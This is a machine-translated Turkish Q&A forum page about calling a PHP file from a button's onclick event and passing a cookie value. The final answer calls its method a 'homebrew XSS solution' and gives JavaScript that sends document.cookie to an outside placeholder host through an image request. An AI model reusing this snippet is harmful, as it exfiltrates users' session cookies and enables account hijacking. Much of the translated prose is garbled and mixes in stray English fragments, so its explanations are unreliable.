(OnClick bir. Php dosyasını çağırarak) olay

4 Cevap php

Ben OnClick olayına bir. Php dosyası aramak istiyorum.

<input id="Edit" name="Edit" value="Edit Record" type="button" onclick="---call to php file----;" />

Yukarıdaki kod göstermek olduğunu. Ben JavaScript aracılığıyla. Php dosyası arama ve sorgu dizesi bir çerez değeri geçmek istiyorum.

4 Cevap

Eğer. Php sayfasına tarayıcı işaret etmek istemiyorsanız, AJAX arıyoruz.

AJAX with JQuery

AJAX with Prototype

AJAX with Matt Kruse's Ajax toolbox

. Eğer php sayfasına tarayıcı almak istiyorsanız, bu kadar kolay:

location.href = 'mypage.php';

I jquery kullanmanızı öneririz ve sonra yapmanız gereken tüm $ olduğunu. .. Saf javascript bunu yapmak oldukça karmaşık olacağını ("url") olsun.

Bu, (normalde bir linki tıkladığınızda olduğu gibi aslında kullanıcıya. Php sayfasını göstermeden yani) AJAX ile php açmak istiyorum üstleniyor

"... Ve sorgu dizesi bir çerez değeri iletin."

Php zaten doğrudan $ _COOKIES superglobal aracılığıyla çerezlerin değerlerini okuyabilirsiniz çünkü bu gerekli değildir. Burada bazı cross-domain şeyler yapıyorsun sürece olmasıdır.

Eğer have sen 'dürüst olmak size ne gibi sesler olduğunu, (iframe, link, senaryo, görüntü ve homebrew kendi XSS çözüm gibi, herhangi bir harici etiketi kullanabilirsiniz, AJAX kullanmak gerekmez neyse yapıyor re ...)

function xssFunc( )
{
    ( new Image ).src = 'http://my.url/page.php?cookie' + encodeURIComponent( document.cookie );
}

document.getElementById( 'whatevs' ).onClick = xssFunc;

Eğer daha sonra içeriğini kullanmak istiyorsanız (etki alanları arasında da yapmak gerekiyorsa), ancak, ben AJAX veya bir iframe kullanmak istiyorum.